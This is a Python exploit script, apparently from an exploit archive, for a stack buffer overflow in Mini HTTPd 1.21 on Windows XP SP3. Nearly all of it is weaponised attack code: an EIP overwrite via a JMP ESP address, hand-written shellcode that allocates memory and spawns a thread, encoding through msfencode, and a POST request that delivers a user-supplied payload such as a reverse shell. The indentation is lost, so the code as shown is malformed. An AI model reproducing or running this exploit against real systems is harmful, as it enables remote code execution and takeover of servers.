Mini HTTPd 1.21 Stack Buffer Overflow

`#!/usr/bin/python  
#  
# Title: Mini HTTPD stack buffer overflow POST exploit  
# Author: TheColonial  
# Date: 20 Feb 2013  
# Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html  
# Vendor Homepage: http://www.picolix.jp/  
# Version: 1.21  
# Tested on: Windows XP Professional SP3  
#  
# Description:  
# This is a slightly more weaponised version of the Mini HTTPD buffer overflow  
# written by Sumit, located here: http://www.exploit-db.com/exploits/31736/  
# I wrote this up because the existing version had a hard-coded payload and  
# didn't work on any of my XP boxes.  
#  
# The instability of the existing is down to bad chars, and the parent thread  
# killing off the child thread when the thing is still running. This exploit  
# allocates memory in a safe area, copies the payload to it, creates a new  
# thread which runs the payload and then suspends the current thread. The  
# suspending of the thread forces the parent to kill it off rather than let  
# it crash and potentially bring the process down.  
#  
# Run the script without arguments to see usage.  
  
import struct, socket, sys, subprocess  
  
# Helper function that reads the body of files off disk.  
def file_content(path):  
with open(path, 'rb') as f:  
return f.read()  
  
# Sent the payload in the correct format to the target host/port.  
def pwn(host, port, payload):  
print "[*] Connecting to {0}:{1}...".format(host, port)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
print "[*] Connected, sending payload {0} bytes...".format(len(payload))  
payload = "POST /{0} HTTP/1.1\r\nHost: {1}\r\n\r\n".format(payload, host)  
s.send(payload)  
s.shutdown  
s.close  
print "[+] Payload of {0} bytes sent, hopefully your shellcode executed.".format(len(payload))  
  
# Create the part of the payload creates a thread to run the final payload in.  
def create_payload_thread(final_payload_size):  
VirtualAlloc = struct.pack("<L", 0x7c809AE1) # in kernel32  
CreateThread = struct.pack("<L", 0x7c8106c7) # in kernel32  
SuspendThread = struct.pack("<L", 0x7c83974A) # in kernel32  
  
payload = ""  
payload += "\x83\xec\x02" # add esp, 0x2 (aligns the stack)  
payload += "\x89\xe6" # mov esi, esp  
payload += "\x83\xc6\x00" # add esi, <some offset filled later>  
count_offset = len(payload) - 1  
  
# zero out ebx because we use zero a lot  
payload += "\x31\xdb" # xor ebx,ebx  
  
# allocate some memory to store our shellcode in which is  
# away from the current active area and somewhere safe  
payload += "\x6a\x40" # push 0x40  
payload += "\x68\x00\x30\x00\x00" # push 0x3000  
payload += "\x68\x00\x10\x00\x00" # push 0x1000  
payload += "\x53" # push ebx  
payload += "\xB8" + VirtualAlloc # mov eax,<address>  
payload += "\xff\xd0" # call eax  
  
# copy the payload over to the newly allocated area  
size_bin = struct.pack("<L", final_payload_size + 4)  
payload += "\xb9" + size_bin # mov ecx,final_payload_size  
payload += "\x89\xc7" # mov edi,eax  
payload += "\xf2\xa4" # rep movsb  
  
# create the thread with a starting address pointing to the  
# allocated area of memory  
payload += "\x53" # push ebx  
payload += "\x53" # push ebx  
payload += "\x53" # push ebx  
payload += "\x50" # push eax  
payload += "\x53" # push ebx  
payload += "\x53" # push ebx  
payload += "\xB8" + CreateThread # mov eax,<address>  
payload += "\xff\xd0" # call eax  
  
# We call SuspendThread on the current thread, because this  
# forces the parent to kill it. The bonus here is that doing  
# so prevents the thread from dying and bringing the whole  
# process down.  
payload += "\x4b" # dec ebx  
payload += "\x4b" # dec ebx  
payload += "\x53" # push ebx  
payload += "\xB8" + SuspendThread # mov eax,<address>  
payload += "\xff\xd0" # call eax  
payload += "\x90" * 4  
  
# fill in the correct offset so that we point ESI to the  
# right location at the start of the final payload  
size = len(payload) + final_payload_size % 4  
  
print "[*] Final stage is {0} bytes.".format(final_payload_size)  
  
offset = struct.pack("B", size)  
  
# write the value to the payload at the right location and return  
return payload[0:count_offset] + offset + payload[count_offset+1:len(payload)]  
  
# Creates the first stage of the exploit which overwrite EIP to get control.  
def create_stage1():  
eip_offset = 5412  
jmp_esp = struct.pack("<L", 0x7e4456F7) # JMP ESP in advapi32  
  
eip_offset2 = eip_offset + 4  
  
payload = ""  
payload += "A" * eip_offset # padding to reach EIP overwrite  
payload += jmp_esp # address to overwrite IP with  
payload += "\x90" # alignment  
payload += "\x83\xEC\x21" # rejig ESP  
return payload  
  
# Create encoded shellcode from the given payload.  
def create_encoded_shellcode(payload):  
print "[*] Input payload of {0} bytes received. Encoding...".format(len(payload))  
params = ['msfencode', '-e', 'x86/opt_sub', '-t', 'raw',  
'BufferRegister=ESP', 'BufferOffset=42', 'ValidCharSet=filepath']  
encode = subprocess.Popen(params, stdout = subprocess.PIPE, stdin = subprocess.PIPE)  
shellcode, _ = encode.communicate(payload)  
print "[*] Shellcode of {0} bytes generated.".format(len(shellcode))  
return shellcode  
  
print ""  
print "MiniHTTPd 1.21 exploit for WinXP SP3 - by TheColonial"  
print "-----------------------------------------------------"  
print ""  
print " Note: msfencode must be in the path and Metasploit must be up to date."  
  
if len(sys.argv) != 4:  
print ""  
print " Usage: {0} <host> <port> <payloadfile>".format(sys.argv[0])  
print ""  
print " host : IP/name of the target host."  
print " port : Port that the target is running on."  
print " payloadfile : A file with the raw payload that is to be run."  
print " This should be the raw, non-encoded output of"  
print " a call to msfpayload"  
print ""  
print " eg. {0} 192.168.1.1 80 reverse_shell_raw.bin"  
print ""  
else:  
print ""  
print " Make sure you have your listeners running!"  
print ""  
  
host = sys.argv[1]  
port = int(sys.argv[2])  
payload_file = sys.argv[3]  
stage1 = create_stage1()  
final_stage = file_content(payload_file)  
thread_payload = create_payload_thread(len(final_stage))  
shellcode = create_encoded_shellcode(thread_payload + final_stage)  
padding = "A" * 0x10  
pwn(host, port, stage1 + shellcode + padding)  
  
  
`